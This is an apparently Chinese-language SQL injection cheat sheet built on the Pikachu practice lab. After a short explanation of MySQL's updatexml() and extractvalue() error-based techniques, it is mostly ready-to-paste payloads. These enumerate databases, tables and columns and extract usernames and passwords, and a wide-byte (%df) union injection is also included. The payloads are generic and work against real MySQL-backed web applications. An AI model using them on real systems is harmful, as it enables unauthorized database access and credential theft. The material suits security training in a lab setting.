比方: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
extractvalue()函数
此函数从目标XML中返回包罗所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e))or '
复制代码
爆列名:
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e))or '
复制代码
爆数据:
1' and extractvalue(1,concat(0x7e,(select group_concat(username,'-',password)from pikachu.users),0x7e))or '
id=61 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
复制代码
爆表名
id=61 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e),1)
复制代码
爆列名
id=61 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu'and table_name='users'),0x7e),1)
复制代码
爆数据(注意还是最多回显32位,所以我们需要取出来,这次用limit)
id=61 and updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1)
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))or ' //爆数据库
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e))or ' //爆表
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e))or ' //爆列
1' and extractvalue(1,concat(0x7e,(select group_concat(username,'-',password)from pikachu.users),0x7e))or '//爆数据
1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #
复制代码
爆列名:
1%df'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#
复制代码
爆数据:
1%df'union select 1,(select group_concat(username,0x3b,password) from users)#